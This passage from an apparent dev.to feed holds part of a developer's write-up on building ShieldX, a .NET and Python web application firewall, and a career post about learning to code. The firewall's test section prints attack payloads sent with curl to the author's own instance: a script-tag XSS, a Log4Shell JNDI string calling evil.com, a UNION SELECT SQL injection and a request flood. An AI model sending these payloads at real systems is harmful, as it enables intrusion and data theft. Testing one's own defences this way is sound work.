        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http.request&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;body&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;body_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;more_body&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_receive&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;receive_patched&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body_bytes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I also skip body scanning for binary content types (&lt;code&gt;image/*&lt;/code&gt;, &lt;code&gt;video/*&lt;/code&gt;, &lt;code&gt;application/pdf&lt;/code&gt;) — there's no point running regex on a JPEG.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Real-Time SOC Dashboard
&lt;/h2&gt;

&lt;p&gt;The dashboard uses &lt;strong&gt;SignalR&lt;/strong&gt; for WebSocket-based push events. Every ban, rate limit hit, or suspicious request appears in the live feed within milliseconds.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7rifnssd56wm6e9cpp2q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7rifnssd56wm6e9cpp2q.png" alt=" " width="800" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When Python detects an attack:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It writes the ban to Redis (&lt;code&gt;shieldx:ban:{ip}&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;It publishes to &lt;code&gt;shieldx:bans:ip&lt;/code&gt; channel&lt;/li&gt;
&lt;li&gt;.NET subscriber fires, updates its local cache&lt;/li&gt;
&lt;li&gt;.NET calls &lt;code&gt;hubCtx.Clients.All.SendAsync("ShieldEvent", payload)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Dashboard JavaScript receives the event and updates the UI&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The whole chain — from Python detecting the attack to the dashboard showing the ban — takes under 50ms in practice.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjp9s7amfz22ctb0h1qgs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjp9s7amfz22ctb0h1qgs.png" alt=" " width="800" height="440"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Testing It — Live Attack Demo
&lt;/h2&gt;

&lt;p&gt;Here's what the system looks like under actual attack traffic. I tested with curl from a local machine and from a separate device on the same network.&lt;/p&gt;
&lt;h3&gt;
  
  
  XSS Detection
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:8000/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: text/plain"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"BLOCKED"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"threat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"XSS"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"score"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;85&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3vnpxiesc3q8amskb7c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3vnpxiesc3q8amskb7c.png" alt=" " width="800" height="258"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Python log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[SCAN] IP=192.168.1.179 PATH=/ BODY_SIZE=25B BINARY=False
[ERROR] [BLOCKED] 192.168.1.179 - XSS (score=85)
[WARNING] [BAN] 192.168.1.179 banned for: XSS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Log4Shell Detection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:8000/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: text/plain"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'${jndi:ldap://evil.com/x}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"BLOCKED"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"threat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"LOG4J"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"score"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzrn026jv89ml5nxululr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzrn026jv89ml5nxululr.png" alt=" " width="800" height="159"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Log4Shell gets score 100 — immediate ban, no questions asked.&lt;/p&gt;

&lt;h3&gt;
  
  
  SQL Injection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://192.168.1.45:8000/?id=1+UNION+SELECT+*+FROM+users--"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;403 Forbidden
{"status": "BLOCKED", "threat": "SQL_INJECTION", "score": 90}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rate Limiting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 110&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://localhost:8000/ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After 100 requests in 60 seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;429 Too Many Requests
{"status": "RATE_LIMITED", "msg": "Too many requests. Slow down."}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7bnwgssx05yop7o34qgy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7bnwgssx05yop7o34qgy.png" alt=" " width="800" height="180"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Got Wrong (And Fixed)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;False positives on apostrophes&lt;/strong&gt; — my first SQLi pattern was too aggressive. A search query like &lt;code&gt;O'Brien&lt;/code&gt; would trigger a block. I rewrote the patterns to require combinations of SQL keywords, not just individual characters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Body stream consumption&lt;/strong&gt; — early versions of the Python middleware consumed the body and never restored it. The actual application never received the POST data. The &lt;code&gt;receive_patched&lt;/code&gt; pattern above was the fix.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cache invalidation&lt;/strong&gt; — when an IP gets unbanned via the REST API, I need to remove it from &lt;em&gt;both&lt;/em&gt; Redis and the local &lt;code&gt;IMemoryCache&lt;/code&gt;. Missing either one means the ban persists longer than intended.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Loopback bypass&lt;/strong&gt; — the .NET middleware skips all checks for loopback addresses (&lt;code&gt;127.0.0.1&lt;/code&gt;). This is intentional for the dashboard and API endpoints, but it means you can't test attack detection from localhost — you need to come from an external IP.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture Decisions I'd Make Differently
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Single binary deployment&lt;/strong&gt; — running two processes (Python + .NET) adds operational complexity. For a production deployment, I'd consider replacing the Python engine with a native .NET implementation using compiled regex, or packaging everything in a Docker Compose file with proper health checks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GeoIP database&lt;/strong&gt; — MaxMind requires registration and the database needs periodic updates. I'd automate this with a GitHub Action that refreshes the &lt;code&gt;.mmdb&lt;/code&gt; file weekly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Metrics&lt;/strong&gt; — the current dashboard shows events but no aggregate metrics over time. I'd add a time-series store (InfluxDB or even just Redis sorted sets) to show attack trends, peak hours, and top attack sources.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;Building ShieldX taught me more about web security in a few months than I'd learned in years of reading about it. A few specific things:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Regex is not enough.&lt;/strong&gt; Pattern matching catches known signatures, but sophisticated attackers use encoding tricks, Unicode normalization, and payload fragmentation to evade simple regex. A production WAF needs semantic analysis, not just string matching.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The performance gap between languages is real but manageable.&lt;/strong&gt; The Python DPI layer adds 2–5ms per request. For most APIs, that's acceptable. For high-frequency trading or real-time gaming, it wouldn't be.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Redis is underrated as middleware.&lt;/strong&gt; Using it as a pub/sub bus between two independent processes is clean and effective. The &lt;code&gt;shieldx:bans:ip&lt;/code&gt; channel pattern made cross-language communication trivial.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Building something real teaches you what tutorials can't.&lt;/strong&gt; Every bug I hit — the body stream consumption issue, the false positive patterns, the SignalR event name mismatch — taught me something that no course would have covered.&lt;/p&gt;




&lt;h2&gt;
  
  
  Source Code
&lt;/h2&gt;

&lt;p&gt;The full source is on GitHub:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/InsaneInfinity/ShieldX-L7-DeepDefense" rel="noopener noreferrer"&gt;ShieldX-L7-DeepDefense&lt;/a&gt; — hybrid WAF (.NET + Python)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/InsaneInfinity/ShieldX-Proxy" rel="noopener noreferrer"&gt;ShieldX-Proxy&lt;/a&gt; — standalone .NET reverse proxy&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/InsaneInfinity/ShieldX-Python" rel="noopener noreferrer"&gt;ShieldX-Python&lt;/a&gt; — Python security scanner&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Automated GeoIP database updates&lt;/li&gt;
&lt;li&gt;[ ] ML-based anomaly detection (moving beyond regex)&lt;/li&gt;
&lt;li&gt;[ ] Docker Compose packaging for easy deployment&lt;/li&gt;
&lt;li&gt;[ ] Aggregate metrics dashboard with time-series data&lt;/li&gt;
&lt;li&gt;[ ] HTTPS support with automatic Let's Encrypt certificates&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Built in 8 months of learning. If you're early in your coding journey and wondering whether you're doing enough — just build something real. The bugs will teach you.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you found this useful, drop a ❤️ or leave a comment. I'm always looking for feedback on what to improve.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>webdev</category>
      <category>dotnet</category>
    </item>
    <item>
      <title>From Truck Driver to WAF Developer — My First 8 Months of Code</title>
      <dc:creator>Patryk</dc:creator>
      <pubDate>Sun, 22 Mar 2026 09:13:55 +0000</pubDate>
      <link>https://dev.to/insaneinfinity/from-truck-driver-to-waf-developer-my-first-8-months-of-code-284c</link>
      <guid>https://dev.to/insaneinfinity/from-truck-driver-to-waf-developer-my-first-8-months-of-code-284c</guid>
      <description>&lt;p&gt;This is a submission for the 2026 WeCoded Challenge: Echoes of Experience&lt;/p&gt;

&lt;p&gt;I'm 42 years old. For most of my life I've been a truck driver — long routes, early mornings, a life measured in kilometers and delivery schedules. It's honest work. But at some point I looked at where I was and thought: I want something different. I want to grow.&lt;br&gt;
So I started coding.&lt;br&gt;
No bootcamp. No CS degree. No mentor sitting next to me. Just a computer, the internet, and a stubborn refusal to give up.&lt;/p&gt;

&lt;p&gt;Why Software Development?&lt;br&gt;
It wasn't a dramatic moment. No single event that changed everything. It was a slow realization that the world is built on software — and I wanted to be someone who builds it, not just someone who uses it.&lt;br&gt;
I wanted to change my social status. I wanted to prove — mostly to myself — that it's never too late to become something new. That 42 is not a wall. That a truck driver can learn to think like an engineer.&lt;/p&gt;

&lt;p&gt;The First Green Light&lt;br&gt;
Eight months in, I built my first working system. Not a todo app. Not a weather widget. A Layer 7 Web Application Firewall — in C# and Python, with Redis, SignalR, GeoIP blocking and browser fingerprinting.&lt;br&gt;
I still remember the moment everything lit up green for the first time. The dashboard connected. The Redis sync worked. A test attack came in, got scored, got blocked, and the event appeared on the live feed in real time.&lt;br&gt;
That feeling — I don't have a word for it. After weeks of staring at errors, something finally worked exactly the way I imagined it. That moment made everything worth it.&lt;/p&gt;

&lt;p&gt;The Hard Parts&lt;br&gt;
Nobody tells you how lonely it is to be stuck on a bug at midnight when you don't know anyone to ask.&lt;br&gt;
There were moments when something should have worked — I could feel it, logically it made sense — and it just didn't. Hours of reading docs, Stack Overflow, trying one more thing. Sometimes I wanted to close the laptop and not come back.&lt;br&gt;
But I always came back.&lt;br&gt;
Because giving up felt worse than being stuck. And because every time I finally figured it out, I understood something deeper than I would have if it had worked the first time.&lt;/p&gt;

&lt;p&gt;What I've Built in 8 Months&lt;/p&gt;

&lt;p&gt;ShieldX-L7-DeepDefense — a hybrid WAF combining .NET 10 and Python with real-time threat detection&lt;br&gt;
ShieldX-Proxy — a standalone C# reverse proxy with browser fingerprinting and bot scoring&lt;br&gt;
ShieldX-Python — a Python WAF with body scanning, rate limiting and Log4Shell detection&lt;br&gt;
Xtreme Load Tester Pro — an HTTP stress testing tool capable of 10,000 concurrent connections&lt;/p&gt;

&lt;p&gt;None of these are tutorial projects. Each one pushed me into territory I didn't know existed when I started.&lt;/p&gt;

&lt;p&gt;To Anyone Starting Late&lt;br&gt;
You will feel behind. You will compare yourself to people who have been coding since they were teenagers. You will have days when you wonder if it's too late.&lt;br&gt;
It's not.&lt;br&gt;
Starting late just means you bring something different — life experience, patience, the understanding that hard things take time. I spent years navigating difficult situations on the road. That taught me more about persistence than any classroom could.&lt;br&gt;
The code doesn't care how old you are. It either works or it doesn't. And when it works — when everything lights up green — age is the last thing on your mind.&lt;/p&gt;

&lt;p&gt;"If it's not fast, it's not finished. If it's not automated, it's a waste of time."&lt;/p&gt;

&lt;p&gt;— Patryk  | &lt;a href="https://github.com/InsaneInfinity" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; | &lt;a href="https://www.linkedin.com/in/patryk-grzes-113b063b8/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>wecoded</category>
      <category>dei</category>
      <category>career</category>
    </item>
  </channel>
</rss>
